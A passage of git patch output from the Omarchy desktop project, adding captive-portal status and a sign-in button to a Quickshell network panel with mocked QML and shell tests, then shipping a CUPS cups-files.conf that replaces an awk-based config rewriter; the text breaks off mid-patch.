"$ROOT/bin/omarchy-provision-owner" From 41a40ccc78b60c9698a0e45dc358f0e4b5ffd5a3 Mon Sep 17 00:00:00 2001 From: Tobi Lutke Date: Fri, 28 Aug 2026 20:03:19 -0500 Subject: [PATCH 113/336] Show captive portal status and sign-in action in network panel --- shell/plugins/panels/network/Model.js | 24 ++- shell/plugins/panels/network/Panel.qml | 141 +++++++++++++-- .../mocks/NetworkMock.qml | 31 ++++ .../network-captive-portal/mocks/qmldir | 1 + .../fixtures/network-captive-portal/shell.qml | 161 ++++++++++++++++++ test/shell.d/network-captive-portal-test.sh | 95 +++++++++++ 6 files changed, 438 insertions(+), 15 deletions(-) create mode 100644 test/shell.d/fixtures/network-captive-portal/mocks/NetworkMock.qml create mode 100644 test/shell.d/fixtures/network-captive-portal/mocks/qmldir create mode 100644 test/shell.d/fixtures/network-captive-portal/shell.qml create mode 100755 test/shell.d/network-captive-portal-test.sh diff --git a/shell/plugins/panels/network/Model.js b/shell/plugins/panels/network/Model.js index b4c84c68..5ed2c0d6 100644 --- a/shell/plugins/panels/network/Model.js +++ b/shell/plugins/panels/network/Model.js @@ -14,9 +14,25 @@ function wifiIconFor(strength) { return icons[index] } -function connectionIcon(kind, signalStrength) { - if (kind === "wifi") return wifiIconFor(signalStrength) - if (kind === "ethernet") return "󰈀" +// A known plain-HTTP endpoint lets the network redirect the browser to its +// login page. Never execute or automatically open an untrusted Location header. +var captivePortalUrl = "http://ping.archlinux.org/nm-check.txt" + +function connectivityState(kind, connectivity, states, checksEnabled) { + if (kind === "disconnected") return "none" + // Ignore stale cached results when the operator has disabled probing. + if (!checksEnabled) return "unknown" + if (connectivity === states.Portal) return "portal" + if (connectivity === states.Limited) return "limited" + if (connectivity === states.Full) return "full" + if (connectivity === states.None) return "none" + return "unknown" +} + +function connectionIcon(kind, signalStrength, connectivity) { + var restricted = connectivity === "portal" || connectivity === "limited" + if (kind === "wifi") return restricted ? "󰤩" : wifiIconFor(signalStrength) + if (kind === "ethernet") return restricted ? "󰈂" : "󰈀" return "󰤮" } @@ -352,6 +368,8 @@ if (typeof module !== "undefined") { parseNetworkStatus: parseNetworkStatus, wifiIconFor: wifiIconFor, connectionIcon: connectionIcon, + connectivityState: connectivityState, + captivePortalUrl: captivePortalUrl, formatHeaderSpeed: formatHeaderSpeed, formatHeaderFreq: formatHeaderFreq, headerDetail: headerDetail, diff --git a/shell/plugins/panels/network/Panel.qml b/shell/plugins/panels/network/Panel.qml index d1e41149..97729dcc 100644 --- a/shell/plugins/panels/network/Panel.qml +++ b/shell/plugins/panels/network/Panel.qml @@ -119,9 +119,9 @@ Panel { property bool cursorActive: false // Keyboard focus zone for the panel. j/k crosses row boundaries: - // header actions ⇄ band ⇄ DNS row ⇄ Wi-Fi networks. h/l move + // header actions ⇄ portal ⇄ band ⇄ DNS row ⇄ Wi-Fi networks. h/l move // within header actions, band pills, or DNS providers. - property string focusSection: "dns" // "header" | "band" | "dns" | "wifi" + property string focusSection: "dns" // "header" | "portal" | "band" | "dns" | "wifi" property int headerIndex: 0 readonly property bool canDisconnect: !!connectedWifiNetwork readonly property bool headerHasDisconnect: false @@ -220,6 +220,8 @@ Panel { // network target; both cards are their own plugins now. function showQr() { root.summonWifiQr(true) } function speedTest() { root.summonSpeedTest() } + function openCaptivePortal() { root.openCaptivePortal() } + function checkConnectivity() { root.checkConnectivity() } } function activateHeader() { @@ -322,11 +324,11 @@ Panel { refresh(true) selectedIndex = wifiNetworks.length > 0 ? 0 : -1 wifiActionFocused = false - focusSection = wifiNetworks.length > 0 ? "wifi" : "dns" + focusSection = hasCaptivePortal ? "portal" : (wifiNetworks.length > 0 ? "wifi" : "dns") var idx = dnsProviders.indexOf(dnsProvider) dnsIndex = idx >= 0 ? idx : 0 syncBandIndex() - cursorActive = false + cursorActive = hasCaptivePortal } else { // Drop a restart armed by this open: without it a close/reopen inside // the 100ms window reuses the running timer and re-enables the scanner @@ -450,7 +452,59 @@ Panel { Quickshell.execDetached(["bash", "-c", "printf %s " + Util.shellQuote(value) + " | wl-copy"]) } - readonly property string icon: Model.connectionIcon(kind, signalStrength) + // NetworkManager performs the HTTP probe (including unexpected page bodies, + // not just redirects). Consume its native notifications rather than running + // a second curl loop or mistaking an ordinary timeout for a captive portal. + readonly property bool connectivityChecksEnabled: networkManagerAvailable + && Networking.canCheckConnectivity && Networking.connectivityCheckEnabled + readonly property string connectivity: Model.connectivityState(kind, Networking.connectivity, { + Portal: NetworkConnectivity.Portal, Limited: NetworkConnectivity.Limited, + Full: NetworkConnectivity.Full, None: NetworkConnectivity.None + }, connectivityChecksEnabled) + readonly property bool hasCaptivePortal: connectivity === "portal" + readonly property bool restricted: hasCaptivePortal || connectivity === "limited" + readonly property string icon: Model.connectionIcon(kind, signalStrength, connectivity) + readonly property string connectionKey: kind === "wifi" && wifiDevice && connectedWifiNetwork + ? kind + ":" + wifiDevice.name + ":" + connectedWifiNetwork.name + : (kind === "ethernet" && wiredDevice ? kind + ":" + wiredDevice.name : "") + + onConnectionKeyChanged: Qt.callLater(checkConnectivity) + onConnectivityChecksEnabledChanged: Qt.callLater(checkConnectivity) + onHasCaptivePortalChanged: { + if (hasCaptivePortal && opened && passwordSsid === "") { + focusSection = "portal" + cursorActive = true + } else if (!hasCaptivePortal && focusSection === "portal") { + focusSection = headerActionCount > 0 ? "header" : "dns" + headerIndex = 0 + } + } + onRestrictedChanged: { + connectionPhraseSwap.stop() + heroMeta.opacity = 1.0 + } + + function checkConnectivity() { + if (connectivityChecksEnabled && kind !== "disconnected") Networking.checkConnectivity() + } + + function openCaptivePortal() { + if (!hasCaptivePortal) return + // Explicit user action only. argv (not a shell string), and a fixed HTTP + // URL: let the browser handle the redirect without trusting portal input. + Quickshell.execDetached(["omarchy-launch-browser", Model.captivePortalUrl]) + close() + } + + // Keep checking while login is needed, even with the panel closed in favour + // of the browser. Normal connected operation relies on NM's own schedule. + Timer { + id: connectivityPoll + interval: 10000 + repeat: true + running: root.restricted && root.connectivityChecksEnabled + onTriggered: root.checkConnectivity() + } // The share card is its own panel plugin (omarchy.wifiqr) so a replacement // design can take it over; summon() routes to whichever implementation is @@ -469,6 +523,7 @@ Panel { } function refresh(scanWifi) { + checkConnectivity() if (scanWifi === undefined) scanWifi = false if (!detailsProc.running) detailsProc.running = true if (!dnsProc.running) { @@ -901,7 +956,7 @@ Panel { Timer { id: connectionPhraseTimer interval: 2800 - running: root.opened && (root.info.type === "ethernet" || (root.info.type === "wifi" && root.canDisconnect)) + running: root.opened && !root.restricted && (root.info.type === "ethernet" || (root.info.type === "wifi" && root.canDisconnect)) repeat: true onTriggered: connectionPhraseSwap.restart() } @@ -958,6 +1013,9 @@ Panel { anchors.fill: parent bar: root.bar text: root.icon + active: root.restricted + tooltipText: root.hasCaptivePortal ? "Sign in to this network" + : (root.restricted ? "Limited internet access" : "") onPressed: function(b) { if (root.opened) root.close() @@ -1001,23 +1059,34 @@ Panel { if (dy >= 0) return } if (dy !== 0) { - // Vertical order is header ⇄ band ⇄ DNS ⇄ wifi, with the band section - // dropping out of the chain entirely when it isn't on screen. + // Hidden sections drop out of the keyboard chain entirely. if (root.focusSection === "header") { if (dy > 0) { - if (root.canSelectBand) { + if (root.hasCaptivePortal) { + root.focusSection = "portal" + } else if (root.canSelectBand) { root.focusSection = "band" root.bandAutoFocused = true } else { root.focusSection = "dns" } } + } else if (root.focusSection === "portal") { + if (dy < 0 && root.headerActionCount > 0) { + root.focusSection = "header" + root.headerIndex = 0 + } else if (dy > 0) { + root.focusSection = root.canSelectBand ? "band" : "dns" + root.bandAutoFocused = true + } } else if (root.focusSection === "band") { // Automatic on the header line, then the pills -- which collapse // away under Automatic, leaving a single row to walk. if (dy < 0) { if (!root.bandAutoFocused) { root.bandAutoFocused = true + } else if (root.hasCaptivePortal) { + root.focusSection = "portal" } else if (root.headerActionCount > 0) { root.focusSection = "header" root.headerIndex = 0 @@ -1035,6 +1104,8 @@ Panel { if (root.canSelectBand) { root.focusSection = "band" root.bandAutoFocused = !root.bandPillsVisible + } else if (root.hasCaptivePortal) { + root.focusSection = "portal" } else if (root.headerActionCount > 0) { root.focusSection = "header" root.headerIndex = 0 @@ -1063,6 +1134,7 @@ Panel { onActivateRequested: { if (root.cursorActive) { if (root.focusSection === "header") root.activateHeader() + else if (root.focusSection === "portal") root.openCaptivePortal() else if (root.focusSection === "band") root.activateBand() else if (root.focusSection === "dns") root.activateDns() else root.activateSelected() @@ -1092,7 +1164,7 @@ Panel { id: heroIcon textFormat: Text.PlainText text: root.icon - color: root.bar.foreground + color: root.restricted ? root.bar.urgent : root.bar.foreground font.family: root.bar.fontFamily font.pixelSize: Style.font.display opacity: root.networkManagerAvailable ? 1.0 : 0.5 @@ -1175,6 +1247,9 @@ Panel { width: parent.width readonly property string title: { + // The HTTP restriction does not undo association. Show the live + // SSID even before route/details polling has returned anything. + if (root.kind === "wifi" && root.connectedWifiNetwork) return root.connectedWifiNetwork.name || "Wi-Fi" if (root.info.type === "wifi") return root.info.ssid || "Wi-Fi" if (root.info.type === "ethernet") return "Ethernet" return root.info.iface || (root.kind === "disconnected" ? "Disconnected" : "No connection") @@ -1194,6 +1269,8 @@ Panel { textFormat: Text.PlainText width: parent.width text: { + if (root.hasCaptivePortal) return "SIGN-IN REQUIRED" + if (root.restricted) return "LIMITED INTERNET ACCESS" if (root.info.type === "wifi") { if (root.canDisconnect) return root.connectionPhrase.toUpperCase() if (root.kind === "disconnected") return "NOT CONNECTED" @@ -1204,7 +1281,7 @@ Panel { return "" } visible: text !== "" - color: Qt.darker(root.bar.foreground, 1.4) + color: root.restricted ? root.bar.urgent : Qt.darker(root.bar.foreground, 1.4) font.family: root.bar.fontFamily font.pixelSize: Style.font.caption font.bold: true @@ -1215,6 +1292,43 @@ Panel { } + Column { + visible: root.hasCaptivePortal + width: parent.width + spacing: Style.space(6) + + Button { + id: portalAction + width: parent.width + text: "Open Captive Portal" + iconText: "󰏌" + foreground: root.bar.urgent + accent: root.bar.urgent + fontFamily: root.bar.fontFamily + verticalPadding: Style.space(10) + bordered: true + active: true + hasCursor: root.cursorActive && root.focusSection === "portal" + onHovered: function(on) { + if (!on) return + root.cursorActive = true + root.focusSection = "portal" + } + onClicked: root.openCaptivePortal() + } + + Text { + width: parent.width + text: "Sign in or accept this network’s terms to access the internet." + textFormat: Text.PlainText + wrapMode: Text.WordWrap + color: root.bar.foreground + opacity: 0.7 + font.family: root.bar.fontFamily + font.pixelSize: Style.font.bodySmall + } + } + // Connection details: transfer metrics first, then IP/Gateway. Column { visible: !!root.info.iface @@ -1654,6 +1768,7 @@ Panel { if (isBusy && root.actionKind === "disconnect") return "Disconnecting…" if (isBusy && root.actionKind === "forget") return "Forgetting…" if (isFailed) return root.failureReason || "Failed" + if (isConnected && root.kind === "wifi" && root.hasCaptivePortal) return "Sign-in required" if (isConnected) return "Connected" return "" } @@ -1661,6 +1776,7 @@ Panel { readonly property color statusColor: { if (isFailed) return root.bar.urgent if (isBusy) return root.bar.foreground + if (isConnected && root.kind === "wifi" && root.hasCaptivePortal) return root.bar.urgent if (isConnected) return root.bar.foreground return Qt.darker(root.bar.foreground, 1.5) } @@ -1715,7 +1831,8 @@ Panel { Text { id: networkIcon textFormat: Text.PlainText - text: row.net ? root.wifiIconFor(row.net.signal) : "" + text: row.net ? Model.connectionIcon("wifi", row.net.signal, + row.isConnected && root.kind === "wifi" ? root.connectivity : "") : "" color: row.statusColor font.family: root.bar.fontFamily font.pixelSize: Style.font.title diff --git a/test/shell.d/fixtures/network-captive-portal/mocks/NetworkMock.qml b/test/shell.d/fixtures/network-captive-portal/mocks/NetworkMock.qml new file mode 100644 index 00000000..b41c6513 --- /dev/null +++ b/test/shell.d/fixtures/network-captive-portal/mocks/NetworkMock.qml @@ -0,0 +1,31 @@ +pragma Singleton +import QtQuick +import Quickshell.Networking + +QtObject { + property int backend: NetworkBackendType.NetworkManager + property bool wifiEnabled: true + property bool canCheckConnectivity: true + property bool connectivityCheckEnabled: true + property int connectivity: NetworkConnectivity.Full + property int checks: 0 + function checkConnectivity() { checks++ } + + property var devices: ({ values: [wifi] }) + property QtObject wifi: QtObject { + property int type: DeviceType.Wifi + property string name: "test-wifi" + property bool connected: true + property bool scannerEnabled: false + property var networks: ({ values: [network] }) + } + property QtObject network: QtObject { + property string name: "Guest Wi-Fi" + property bool connected: true + property bool known: true + property bool stateChanging: false + property real signalStrength: 0.8 + property int security: WifiSecurityType.Open + signal connectionFailed(int reason) + } +} diff --git a/test/shell.d/fixtures/network-captive-portal/mocks/qmldir b/test/shell.d/fixtures/network-captive-portal/mocks/qmldir new file mode 100644 index 00000000..03b0cb27 --- /dev/null +++ b/test/shell.d/fixtures/network-captive-portal/mocks/qmldir @@ -0,0 +1 @@ +singleton NetworkMock 1.0 NetworkMock.qml diff --git a/test/shell.d/fixtures/network-captive-portal/shell.qml b/test/shell.d/fixtures/network-captive-portal/shell.qml new file mode 100644 index 00000000..24c361bc --- /dev/null +++ b/test/shell.d/fixtures/network-captive-portal/shell.qml @@ -0,0 +1,161 @@ +import QtQuick +import Quickshell +import Quickshell.Networking +import qs.Commons +import "mocks" +import "network" as Network + +ShellRoot { + id: test + property bool failed: false + function check(ok, message) { + if (!ok) { + failed = true + console.log("RESULT fail " + message) + } + } + + // Not visible in the normal test run. The optional preview maps the real + // KeyboardPanel for a screenshot, without ever altering the host network. + Item { + Network.Panel { + id: panel + bar: QtObject { + property color foreground: Color.foreground + property color barForeground: Color.foreground + property color urgent: Color.urgent + property string fontFamily: Style.font.family + property string position: "top" + property int barSize: 24 + property bool vertical: false + property bool foregroundAnimationEnabled: false + property var activePopout: null + function requestPopout(owner) { activePopout = owner } + function releasePopout(owner) { activePopout = null } + function registerClickTarget(target) {} + function unregisterClickTarget(target) {} + function hideTooltip(target) {} + function showTooltip(target, text) {} + } + } + } + + Timer { + interval: 250 + running: true + onTriggered: { + test.check(panel.kind === "wifi", "connected Wi-Fi fixture") + test.check(panel.connectivity === "full", "normal connectivity") + test.check(!panel.testButton.visible && !panel.testBarButton.active, "no false portal banner") + test.check(!panel.testPoll.running, "normal connectivity adds no polling") + test.check(NetworkMock.checks > 0, "checks at connection/startup") + var before = NetworkMock.checks + panel.checkConnectivity() + test.check(NetworkMock.checks === before + 1, "manual check delegates to NM") + NetworkMock.connectivity = NetworkConnectivity.Portal + Qt.callLater(portalChecks) + } + } + + function portalChecks() { + check(panel.hasCaptivePortal && panel.restricted, "native portal activates restricted mode") + check(panel.testButton.visible, "portal button visible") + check(panel.testButton.text === "Open Captive Portal", "prominent action label") + check(panel.icon === "󰤩" && panel.testBarButton.active, "blocked bar icon and warning color") + check(panel.testMeta.text === "SIGN-IN REQUIRED", "status replaces cheerful connection phrase") + check(panel.testTitle.text === "Guest Wi-Fi", "connected SSID survives missing route details") + check(panel.testPoll.running && panel.testPoll.interval === 10000, "restricted recheck runs while closed") + var before = NetworkMock.checks + panel.testPoll.triggered() + check(NetworkMock.checks === before + 1, "background timer rechecks through NM") + panel.testKeys.textKey("r") + check(NetworkMock.checks === before + 2, "r requests fresh connectivity") + // Exercise the existing cursor model, not a separate test-only action. + panel.cursorActive = true + panel.focusSection = "header" + panel.testKeys.moveRequested(0, 1) + check(panel.focusSection === "portal", "down from header reaches portal") + panel.testKeys.moveRequested(0, 1) + check(panel.focusSection === "dns", "down from portal skips absent band") + panel.testKeys.moveRequested(0, -1) + check(panel.focusSection === "portal", "up from DNS reaches portal") + panel.bandAvailable = ["2.4", "5"] + panel.testKeys.moveRequested(0, 1) + check(panel.focusSection === "band", "down from portal reaches available band") + panel.testKeys.moveRequested(0, -1) + check(panel.focusSection === "portal", "up from band reaches portal") + panel.testKeys.activateRequested() + NetworkMock.connectivity = NetworkConnectivity.Full + Qt.callLater(recoveryChecks) + } + + function recoveryChecks() { + check(!panel.hasCaptivePortal && !panel.restricted, "login recovery clears restriction") + check(!panel.testPoll.running, "recovery stops extra checks") + check(!panel.testButton.visible && !panel.testBarButton.active, "recovery hides button and warning color") + check(panel.focusSection === "header", "disappearing button leaves valid cursor") + check(panel.icon !== "󰤩", "signal icon returns") + // No browser launch when the portal is gone (runner asserts one launch). + panel.openCaptivePortal() + NetworkMock.connectivity = NetworkConnectivity.Limited + Qt.callLater(limitedChecks) + } + + function limitedChecks() { + check(panel.restricted && !panel.hasCaptivePortal, "outage is not mislabelled as a portal") + check(!panel.testButton.visible && panel.testMeta.text === "LIMITED INTERNET ACCESS", "limited state has no login button") + NetworkMock.connectivity = NetworkConnectivity.Portal + NetworkMock.connectivityCheckEnabled = false + Qt.callLater(disabledChecks) + } + + function disabledChecks() { + check(!panel.hasCaptivePortal && panel.connectivity === "unknown", "disabled checks ignore cached portal") + check(!panel.testPoll.running, "disabled checks stop polling") + var before = NetworkMock.checks + panel.checkConnectivity() + check(NetworkMock.checks === before, "does not enable or invoke disabled checks") + NetworkMock.connectivityCheckEnabled = true + NetworkMock.network.connected = false + NetworkMock.wifi.connected = false + Qt.callLater(disconnectedChecks) + } + + function disconnectedChecks() { + check(panel.kind === "disconnected" && !panel.hasCaptivePortal, "disconnect clears stale portal") + check(!panel.testButton.visible && panel.icon === "󰤮", "disconnected icon not portal icon") + if (failed) { Qt.quit(); return } + console.log("RESULT pass") + var preview = Quickshell.env("NETWORK_TEST_PREVIEW") + if (preview === "portal" || preview === "full") { + NetworkMock.network.connected = true + NetworkMock.wifi.connected = true + NetworkMock.connectivity = preview === "portal" ? NetworkConnectivity.Portal : NetworkConnectivity.Full + panel.open() + previewCapture.start() + previewDone.start() + } else { + // Give the detached, stubbed browser command time to append its argv. + done.start() + } + } + + // Optional fresh, panel-only captures. Rendering the card itself excludes + // the host desktop, and the network details above come only from fixtures. + // NETWORK_TEST_PREVIEW=portal (or full), NETWORK_TEST_SCREENSHOT=/tmp/new.png + Timer { + id: previewCapture + interval: 750 + onTriggered: { + var path = Quickshell.env("NETWORK_TEST_SCREENSHOT") + if (!path) return + var card = panel.testKeys.parent.parent + card.grabToImage(function(result) { + test.check(result.saveToFile(path), "save fresh preview screenshot") + Qt.quit() + }) + } + } + Timer { id: done; interval: 300; onTriggered: Qt.quit() } + Timer { id: previewDone; interval: 15000; onTriggered: Qt.quit() } +} diff --git a/test/shell.d/network-captive-portal-test.sh b/test/shell.d/network-captive-portal-test.sh new file mode 100755 index 00000000..0802eeb7 --- /dev/null +++ b/test/shell.d/network-captive-portal-test.sh @@ -0,0 +1,95 @@ +#!/bin/bash + +set -euo pipefail +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +run_node_test <<'JS' +const network = requireFromRoot('shell/plugins/panels/network/Model.js') +const states = { Unknown: 0, None: 1, Portal: 2, Limited: 3, Full: 4 } + +for (const kind of ['wifi', 'ethernet']) { + for (const [native, expected] of [ + ['Unknown', 'unknown'], ['None', 'none'], ['Portal', 'portal'], + ['Limited', 'limited'], ['Full', 'full'] + ]) { + assertEqual(network.connectivityState(kind, states[native], states, true), expected, + `${kind} maps native ${native} connectivity without confusing an outage with a portal`) + } + assertEqual(network.connectivityState(kind, 99, states, true), 'unknown', `${kind} handles unknown connectivity`) + for (const native of Object.values(states)) { + assertEqual(network.connectivityState(kind, native, states, false), 'unknown', `${kind} ignores stale results with probing disabled (${native})`) + } +} +for (const native of Object.values(states)) { + assertEqual(network.connectivityState('disconnected', native, states, true), 'none', `disconnect clears stale connectivity (${native})`) +} +for (const state of ['portal', 'limited']) { + assertEqual(network.connectionIcon('wifi', 80, state), '󰤩', `${state} uses a blocked Wi-Fi icon`) + assertEqual(network.connectionIcon('ethernet', 80, state), '󰈂', `${state} uses a blocked Ethernet icon`) + assertEqual(network.connectionIcon('disconnected', 80, state), '󰤮', `${state} does not override the disconnected icon`) +} +for (const state of ['full', 'unknown', 'none', undefined]) { + for (const signal of [-1, 0, 20, 40, 60, 80, 100]) { + assertEqual(network.connectionIcon('wifi', signal, state), network.wifiIconFor(signal), `${state} preserves Wi-Fi strength ${signal}`) + } + assertEqual(network.connectionIcon('ethernet', -1, state), '󰈀', `${state} preserves the Ethernet icon`) +} +const url = new URL(network.captivePortalUrl) +assertEqual(url.protocol, 'http:', 'browser entry point uses plain HTTP so a portal can intercept it') +assertEqual(url.hostname, 'ping.archlinux.org', 'browser entry point is fixed rather than portal-supplied') +assertEqual(url.username + url.password, '', 'browser entry point contains no credentials') +JS + +require_compositor "network captive-portal runtime test" +require_command quickshell + +stage=$(mktemp -d) +trap 'rm -rf -- "$stage"' EXIT +fixture="$SHELL_TEST_DIR/fixtures/network-captive-portal" +mkdir -p "$stage/network" "$stage/bin" "$stage/home" +ln -s "$ROOT/shell/Ui" "$stage/Ui" +ln -s "$ROOT/shell/Commons" "$stage/Commons" +cp -r "$fixture/mocks" "$stage/mocks" +cp "$fixture/shell.qml" "$stage/shell.qml" +cp "$ROOT/shell/plugins/panels/network/Model.js" "$stage/network/Model.js" +node - "$ROOT" "$stage" <<'JS' +const fs = require('fs') +const [root, stage] = process.argv.slice(2) +let source = fs.readFileSync(`${root}/shell/plugins/panels/network/Panel.qml`, 'utf8') +// Keep installed enum values and actual UI bindings. Only replace the singleton +// and expose private IDs in the disposable copy, never in production code. +source = source.replace('import Quickshell.Networking', 'import Quickshell.Networking\nimport "../mocks"') +source = source.replace(/\bNetworking\./g, 'NetworkMock.') +source = source.replace(' id: root', ` id: root + property alias testButton: portalAction + property alias testKeys: keyCatcher + property alias testMeta: heroMeta + property alias testTitle: heroSsid + property alias testPoll: connectivityPoll + property alias testBarButton: button`) +fs.writeFileSync(`${stage}/network/Panel.qml`, source) +JS +printf '#!/bin/bash\nexit 0\n' > "$stage/bin/noop" +chmod +x "$stage/bin/noop" +for command in omarchy-dns omarchy-network-band; do + ln -s noop "$stage/bin/$command" +done +# Preview uses only synthetic details, never the host's SSID or addresses. +# Normal assertions keep the details empty to exercise missing-route handling. +printf '#!/bin/bash\nif [[ -n ${NETWORK_TEST_PREVIEW:-} ]]; then\n printf "type\\twifi\\niface\\ttest-wifi\\nssid\\tGuest Wi-Fi\\nip\\t192.0.2.10\\ngateway\\t192.0.2.1\\n"\nfi\n' > "$stage/bin/omarchy-network-status" +chmod +x "$stage/bin/omarchy-network-status" +printf '#!/bin/bash\nprintf "%%s\\n" "$@" >> "$NETWORK_TEST_BROWSER_LOG"\n' > "$stage/bin/omarchy-launch-browser" +chmod +x "$stage/bin/omarchy-launch-browser" + +# All networking and external actions are mocked; the real connection and +# browser are never touched, and the fixture writes only to its scratch HOME. +output=$(HOME="$stage/home" OMARCHY_PATH="$ROOT" PATH="$stage/bin:$PATH" \ + NETWORK_TEST_BROWSER_LOG="$stage/browser.log" \ + timeout 30 quickshell -p "$stage" --no-color 2>&1) || fail "network portal fixture exits cleanly" "$output" +[[ $output == *"RESULT pass"* ]] || fail "network portal runtime assertions pass" "$output" +if rg -q 'RESULT fail|ReferenceError|TypeError|Error:|Unable to assign|Binding loop' <<< "$output"; then + fail "network portal fixture has no QML errors" "$output" +fi +[[ -f $stage/browser.log ]] || fail "portal action launches the browser" +[[ $(<"$stage/browser.log") == "http://ping.archlinux.org/nm-check.txt" ]] || fail "portal opens exactly one fixed HTTP URL" +pass "network portal, recovery, disabled checks, outage, disconnect, keyboard navigation, and browser argv work in QML" From 74997fd523f4862964322fec38ae35dc71b9b822 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sat, 29 Aug 2026 02:18:44 -0400 Subject: [PATCH 114/336] Ship CUPS authorization through settings package --- etc/cups/cups-files.conf | 90 ++++++++++++++++ install/config/all.sh | 1 - install/config/printing.sh | 83 --------------- install/post-install/pacman.sh | 10 +- migrations/1787815267.sh | 24 ++++- test/acceptance.d/system-test.sh | 2 +- test/shell.d/cups-hardening-test.sh | 153 +++++++++++----------------- 7 files changed, 180 insertions(+), 183 deletions(-) create mode 100644 etc/cups/cups-files.conf delete mode 100644 install/config/printing.sh diff --git a/etc/cups/cups-files.conf b/etc/cups/cups-files.conf new file mode 100644 index 00000000..e515117f --- /dev/null +++ b/etc/cups/cups-files.conf @@ -0,0 +1,90 @@ +# +# File/directory/user/group configuration file for the CUPS scheduler. +# See "man cups-files.conf" for a complete description of this file. +# + +# List of events that are considered fatal errors for the scheduler... +#FatalErrors config + +# Strip domain in local username? +#StripUserDomain No + +# Do we call fsync() after writing configuration or status files? +#SyncOnClose No + +# Default user and group for filters/backends/helper programs; this cannot be +# any user or group that resolves to ID 0 for security reasons... +User 209 +Group 209 + +# Administrator user group, used to match @SYSTEM in cupsd.conf policy rules... +# This cannot contain the Group value for security reasons... +SystemGroup cups-browsed sys root + + +# Are Unix domain socket peer credentials used for authorization? +PeerCred on + +# User that is substituted for unauthenticated (remote) root accesses... +#RemoteRoot remroot + +# Do we allow file: device URIs other than to /dev/null? +#FileDevice No + +# Permissions for configuration and log files... +#ConfigFilePerm 0640 +#LogFilePerm 0644 + +# Location of the file logging all access to the scheduler; may be the name +# "syslog". If not an absolute path, the value of ServerRoot is used as the +# root directory. Also see the "AccessLogLevel" directive in cupsd.conf. +AccessLog /var/log/cups/access_log + +# Location of cache files used by the scheduler... +#CacheDir /var/cache/cups + +# Location of data files used by the scheduler... +#DataDir /usr/share/cups + +# Location of the static web content served by the scheduler... +#DocumentRoot /usr/share/cups/doc + +# Location of the file logging all messages produced by the scheduler and any +# helper programs; may be the name "syslog". If not an absolute path, the value +# of ServerRoot is used as the root directory. Also see the "LogLevel" +# directive in cupsd.conf. +ErrorLog /var/log/cups/error_log + +# Location of the file logging all pages printed by the scheduler and any +# helper programs; may be the name "syslog". If not an absolute path, the value +# of ServerRoot is used as the root directory. Also see the "PageLogFormat" +# directive in cupsd.conf. +PageLog /var/log/cups/page_log + +# Location of the file listing all of the local printers... +#Printcap /etc/printcap + +# Format of the Printcap file... +#PrintcapFormat bsd +#PrintcapFormat plist +#PrintcapFormat solaris + +# Location of all spool files... +#RequestRoot /var/spool/cups + +# Location of helper programs... +#ServerBin /usr/lib/cups + +# SSL/TLS keychain for the scheduler... +#ServerKeychain ssl + +# Location of other configuration files... +#ServerRoot /etc/cups + +# Location of scheduler state files... +#StateDir /run/cups + +# Location of scheduler/helper temporary files. This directory is emptied on +# scheduler startup and cannot be one of the standard (public) temporary +# directory locations for security reasons... +#TempDir /var/spool/cups/tmp diff --git a/install/config/all.sh b/install/config/all.sh index aa1044f1..91256dc7 100644 --- a/install/config/all.sh +++ b/install/config/all.sh @@ -7,6 +7,5 @@ run_logged "$OMARCHY_INSTALL/config/ssh-keepalive.sh" run_logged "$OMARCHY_INSTALL/config/docker.sh" run_logged "$OMARCHY_INSTALL/config/snapper.sh" run_logged "$OMARCHY_INSTALL/config/locate.sh" -run_logged "$OMARCHY_INSTALL/config/printing.sh" run_logged "$OMARCHY_INSTALL/config/enable-services.sh" run_logged "$OMARCHY_INSTALL/config/firewall.sh" diff --git a/install/config/printing.sh b/install/config/printing.sh deleted file mode 100644 index 31c969ea..00000000 --- a/install/config/printing.sh +++ /dev/null @@ -1,83 +0,0 @@ -# cups-browsed manages queues through CUPS and does not need Unix root. Give -# only its locked service account passwordless CUPS administration; interactive -# users go through cups-pk-helper and Polkit instead. -cups_files_conf="${OMARCHY_CUPS_FILES_CONF:-/etc/cups/cups-files.conf}" -cups_browsed_sysusers_conf="${OMARCHY_CUPS_BROWSED_SYSUSERS_CONF:-/etc/sysusers.d/omarchy-cups-browsed.conf}" - -if [[ -f $cups_browsed_sysusers_conf ]]; then - systemd-sysusers "$cups_browsed_sysusers_conf" -fi - -if [[ -L $cups_files_conf ]]; then - echo "Refusing to rewrite symlinked CUPS authorization config: $cups_files_conf" >&2 - false -elif [[ -f $cups_files_conf ]]; then - staged_conf=$(mktemp --tmpdir="${cups_files_conf%/*}" ".${cups_files_conf##*/}.XXXXXX") - - if ! awk ' - NR == FNR { - if (tolower($1) == "systemgroup") { - for (i = 2; i <= NF; i++) { - if (substr($i, 1, 1) == "#") - break - if ($i != "wheel" && !seen_group[$i]) { - system_groups[++system_group_count] = $i - seen_group[$i] = 1 - } - } - } - next - } - - tolower($1) == "systemgroup" { - comment_start = index($0, "#") - if (!wrote_system_group) { - printf "SystemGroup" - for (i = 1; i <= system_group_count; i++) - printf " %s", system_groups[i] - if (!seen_group["cups-browsed"]) - printf " cups-browsed" - if (comment_start) - printf " %s", substr($0, comment_start) - print "" - wrote_system_group = 1 - } else if (comment_start) { - print substr($0, comment_start) - } - next - } - - tolower($1) == "peercred" { - comment_start = index($0, "#") - if (!saw_peer_cred) { - printf "PeerCred on" - if (comment_start) - printf " %s", substr($0, comment_start) - print "" - } else if (comment_start) { - print substr($0, comment_start) - } - saw_peer_cred = 1 - next - } - - { print } - - END { - if (!wrote_system_group) - print "SystemGroup sys root cups-browsed" - if (!saw_peer_cred) - print "PeerCred on" - } - ' "$cups_files_conf" "$cups_files_conf" >"$staged_conf"; then - rm -f "$staged_conf" - false - fi - - if ! chmod --reference="$cups_files_conf" "$staged_conf" || - ! chown --reference="$cups_files_conf" "$staged_conf" || - ! mv -f "$staged_conf" "$cups_files_conf"; then - rm -f "$staged_conf" - false - fi -fi diff --git a/install/post-install/pacman.sh b/install/post-install/pacman.sh index 23580b3c..327b812f 100644 --- a/install/post-install/pacman.sh +++ b/install/post-install/pacman.sh @@ -3,11 +3,13 @@ cp -f "$OMARCHY_PATH/default/pacman/pacman-${OMARCHY_MIRROR:-stable}.conf" /etc/pacman.conf cp -f "$OMARCHY_PATH/default/pacman/mirrorlist-${OMARCHY_MIRROR:-stable}" /etc/pacman.d/mirrorlist -# omarchy-settings skips this override until cups-browsed is actually present -# to avoid pacman creating cups-browsed.conf.pacnew during 